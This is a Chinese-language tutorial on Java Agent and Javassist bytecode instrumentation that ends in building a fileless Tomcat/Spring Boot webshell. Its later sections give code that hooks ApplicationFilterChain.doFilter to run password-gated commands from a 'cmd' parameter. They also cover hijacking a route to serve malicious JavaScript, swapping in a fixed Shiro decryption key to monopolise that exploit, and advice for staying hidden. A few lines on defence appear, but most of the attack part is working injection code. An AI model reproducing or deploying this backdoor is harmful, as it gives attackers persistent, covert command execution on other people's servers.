Java Agent 从入门到内存马
字数 1166 2025-08-05 19:10:09
Java Agent 技术从入门到内存马实战指南
一、Java Agent 基础概念
1.1 Java Agent 简介
Java Agent 是 JDK 1.5 引入的一项技术,能够在不影响正常编译的情况下修改字节码。它提供了一种优雅的代码注入方式,比 Spring AOP 更加底层和强大。
主要特点:
- 可以修改已编译类的字节码
- 无需重新编译源代码
- 两种加载方式:JVM 启动前(premain)和启动后(agentmain)
1.2 两种加载方式
premain 方式
在 JVM 启动前加载,通过 -javaagent 参数指定。
方法签名:
public static void premain(String agentArgs, Instrumentation inst) { ... }
public static void premain(String agentArgs) { ... }
agentmain 方式
在 JVM 启动后加载,通过 Attach API 动态加载。
方法签名:
public static void agentmain(String agentArgs, Instrumentation inst) { ... }
public static void agentmain(String agentArgs) { ... }
二、Java Agent 开发实践
2.1 premain 实现步骤
- 创建项目结构:
agent
├── agent.iml
├── pom.xml
└── src
├── main
│ ├── java
│ └── resources
└── test
└── java
- 实现 premain 类:
package com.shiroha.demo;
import java.lang.instrument.Instrumentation;
public class PreDemo {
public static void premain(String args, Instrumentation inst) throws Exception {
for (int i = 0; i < 10; i++) {
System.out.println("hello I`m premain agent!!!");
}
}
}
- 创建 MANIFEST.MF:
Manifest-Version: 1.0
Premain-Class: com.shiroha.demo.PreDemo
- 打包并使用:
java -javaagent:agent.jar -jar hello.jar
2.2 agentmain 实现步骤
- 扩展 MANIFEST.MF:
Manifest-Version: 1.0
Premain-Class: com.shiroha.demo.PreDemo
Agent-Class: com.shiroha.demo.AgentDemo
- 使用 Attach API 动态加载:
import com.sun.tools.attach.*;
public class AgentMain {
public static void main(String[] args) throws Exception {
String id = args[0]; // 目标JVM的pid
String jarName = args[1]; // agent jar路径
VirtualMachine vm = VirtualMachine.attach(id);
vm.loadAgent(jarName);
vm.detach();
}
}
三、Instrumentation 核心API
3.1 关键方法
public interface Instrumentation {
// 添加类文件转换器
void addTransformer(ClassFileTransformer transformer);
// 移除类文件转换器
boolean removeTransformer(ClassFileTransformer transformer);
// 重新转换已加载的类
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
// 检查类是否可修改
boolean isModifiableClass(Class<?> theClass);
// 获取所有已加载的类
Class[] getAllLoadedClasses();
}
3.2 类信息收集示例
public class AgentDemo {
public static void agentmain(String agentArgs, Instrumentation inst) throws IOException {
Class[] classes = inst.getAllLoadedClasses();
FileOutputStream fos = new FileOutputStream("/tmp/classesInfo");
for (Class aClass : classes) {
String result = "class ==> " + aClass.getName() +
"\n\tModifiable ==> " +
(inst.isModifiableClass(aClass) ? "true" : "false") + "\n";
fos.write(result.getBytes());
}
fos.close();
}
}
四、字节码修改技术
4.1 Javassist 工具介绍
Javassist 是一个强大的字节码编辑库,提供了源级别和字节码级别两种API。
核心类:
ClassPool:CtClass 对象的容器CtClass:增强版的 Class 对象CtMethod:增强版的 Method 对象
常用方法:
public abstract class CtBehavior extends CtMember {
void setBody(String src); // 设置方法体
void insertBefore(String src); // 在方法前插入代码
void insertAfter(String src); // 在方法后插入代码
int insertAt(int lineNum, String src); // 在指定行插入代码
}
4.2 字节码修改示例
public class TransformerDemo implements ClassFileTransformer {
public static final String editClassName = "com.xxxx.hello.hello";
public static final String editMethod = "hello";
@Override
public byte[] transform(...) throws IllegalClassFormatException {
try {
ClassPool cp = ClassPool.getDefault();
CtClass ctc = cp.get(editClassName);
CtMethod method = ctc.getDeclaredMethod(editMethod);
String source = "{System.out.println(\"hello transformer\");}";
method.setBody(source);
byte[] bytes = ctc.toBytes();
ctc.detach();
return bytes;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
五、内存马实战开发
5.1 Spring Boot 内存马原理
通过修改 ApplicationFilterChain 的 doFilter 方法,可以拦截所有HTTP请求:
@Override
public void doFilter(ServletRequest request, ServletResponse response)
throws IOException, ServletException {
if (Globals.IS_SECURITY_ENABLED) {
// 安全模式处理
} else {
internalDoFilter(request, response);
}
}
5.2 内存马实现代码
- 定义要修改的类和方法:
public static final String editClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static final String editMethod = "doFilter";
- 插入恶意代码:
method.insertBefore(
"javax.servlet.http.HttpServletRequest request = $1;\n" +
"javax.servlet.http.HttpServletResponse response = $2;\n" +
"request.setCharacterEncoding(\"UTF-8\");\n" +
"String result = \"\";\n" +
"String password = request.getParameter(\"password\");\n" +
"if (password != null) {\n" +
" if (password.equals(\"xxxxxx\")) {\n" +
" String cmd = request.getParameter(\"cmd\");\n" +
" if (cmd != null && cmd.length() > 0) {\n" +
" // 执行命令代码\n" +
" }\n" +
" response.getWriter().write(result);\n" +
" return;\n" +
" }\n" +
"}"
);
5.3 内存马使用效果
注入后,访问任意URL带上参数即可执行命令:
http://localhost:8080/?password=xxxxxx&cmd=ls -al
六、高级应用场景
6.1 路由劫持攻击
通过判断请求URI,可以劫持特定路由:
String uri = request.getRequestURI();
if (uri.equals("/static/js/1.js")) {
response.getWriter().write("[恶意js代码]");
return;
}
6.2 Shiro 密钥替换
修改Shiro的解密密钥,实现"独占"漏洞利用:
// 修改getDecryptionCipherKey方法
method.setBody(
"{ return org.apache.shiro.codec.Base64.decode(\"4AvVhmFLUs0KTA3Kprsdag==\"); }"
);
七、防御与注意事项
7.1 防御措施
- 监控JVM的agent加载行为
- 检查
java.lang.instrument包的使用 - 限制
com.sun.tools.attach包的访问
7.2 使用注意事项
-
隐蔽性建议:
- 使用POST请求传输数据
- 避免使用不存在的路由路径
-
技术限制:
- 相同类名的transformer只能注入一个
- 修改后的字节码除非重启否则无法直接卸载
-
还原方法:
method.setBody(
"final javax.servlet.ServletRequest req = $1;\n" +
"final javax.servlet.ServletResponse res = $2;\n" +
"$0.internalDoFilter(req, res);"
);